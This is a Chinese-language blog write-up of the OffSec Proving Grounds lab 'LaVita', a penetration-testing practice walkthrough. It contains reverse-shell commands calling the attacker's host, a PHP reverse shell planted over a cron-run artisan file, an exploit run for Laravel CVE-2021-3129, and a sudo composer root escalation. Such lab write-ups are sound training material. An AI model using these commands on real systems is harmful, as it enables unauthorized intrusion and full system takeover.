OSCP LaVita Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

LaVita

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

信息搜集,用户注册 –> Laravel 远程代码执行(CVE-2021-3129) –> www-data 用户权限 –> pspy 进程监控,修改 artisan 文件 –> skunk 用户权限 –> 用户旗帜

权限提升:

skunk 用户 composer sudo 权限 –> www-data 用户修改 composer.json 文件 –> 执行 skunk 用户 sudo composer 指令 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.212.38 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
sudo nmap -p22,80 -sCV 192.168.212.38

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Laravel 远程代码执行(CVE-2021-3129)

访问系统 HTTP 80 端口,页面存在登录注册接口。

注册任意用户登录后台,发现存在开启关闭系统 app_debug 和上传文件功能。

搜索引擎检索 app_debug exploit,该配置可能与 Laravel 远程代码执行漏洞有关联(CVE-2021-3129),且低于 8.4.2 版本均受影响。

image-20250825213207567

回到网站主页进行信息搜集,发现页面泄露了一些关于聘请 Laravel 应用工程师信息。访问不存在的页面时,报错信息泄露了应用版本信息:Laravel 8.4.0,满足 CVE-2021-3129 漏洞版本要求,可尝试利用。

参考链接:

1
https://github.com/joshuavanderpoll/CVE-2021-3129

注意: 利用该漏洞的前提需先在后台开启 app_debug 功能。

下载并执行漏洞利用脚本。

1
2
3
4
git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
python3 CVE-2021-3129.py
http://192.168.212.38/
execute whoami

执行过程会下载一些依赖。

第一次执行 payload 没有回显然后点击 y 再次执行,得到了 whoami 命令回显。

注意: 可能是脚本的问题,当成功一次时,之后的命令都无法执行,需要重新运行脚本。

执行反弹 shell,和上一次的步骤保持一致,可获取到系统 www-data 用户 shell。

1
2
3
4
5
6
7
8
nc -lvnp 1234
python3 CVE-2021-3129.py
http://192.168.212.38/
# 不适用上次记录
n
execute busybox nc 192.168.45.241 1234 -e /bin/bash
# 再次执行
y

升级为交互式 shell。

3.2.2 Pspy 监控系统进程,修改 artisan 文件,获取到 skunk 用户权限

使用 pspy 监控系统进程,发现系统会以 skunk(uid 1001)用户权限执行/var/www/html/lavita/artisan 文件,而 www-data 用户对该文件具有读写权限,可写入反弹 shell 当程序再次执行即可得到 skunk 用户 shell。

在 kali 编辑一个 php 的反弹 shell,然后在靶机通过 wget 下载覆盖 artisan 文件。

1
2
3
<?php
system('nc 192.168.45.241 1234 -e /bin/bash');
?>

1
2
mv /var/www/html/lavita/artisan /var/www/html/lavita/artisan.back
wget http://192.168.45.241/shell.php -O /var/www/html/lavita/artisan

升级为交互式 shell。

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Composer sudo 提权至 root

skunk 用户可通过 sudo 以 root 用户权限执行 Composer 程序,利用该配置可提升至 root 权限。

1
sudo -l

参考链接:

1
https://gtfobins.github.io/gtfobins/composer/#sudo

步骤一: sudo -l 定义的 working 路径是 www-data 用户可以修改的,可使用 www-data 用户更新 composer.json 文件内容(反弹 shell)。

1
2
ls -l /var/www/html/lavita/composer.json
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > /var/www/html/lavita/composer.json

步骤二: 使用 skunk 用户执行 sudo 指令,获取系统到 root 用户权限。

1
sudo -u root /usr/bin/composer --working-dir\=/var/www/html/lavita run-script x

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP LaVita Write-up
https://www.f0nesec.top/2025/08/25/oscp-lavita/
作者
F0ne
发布于
2025年8月25日
许可协议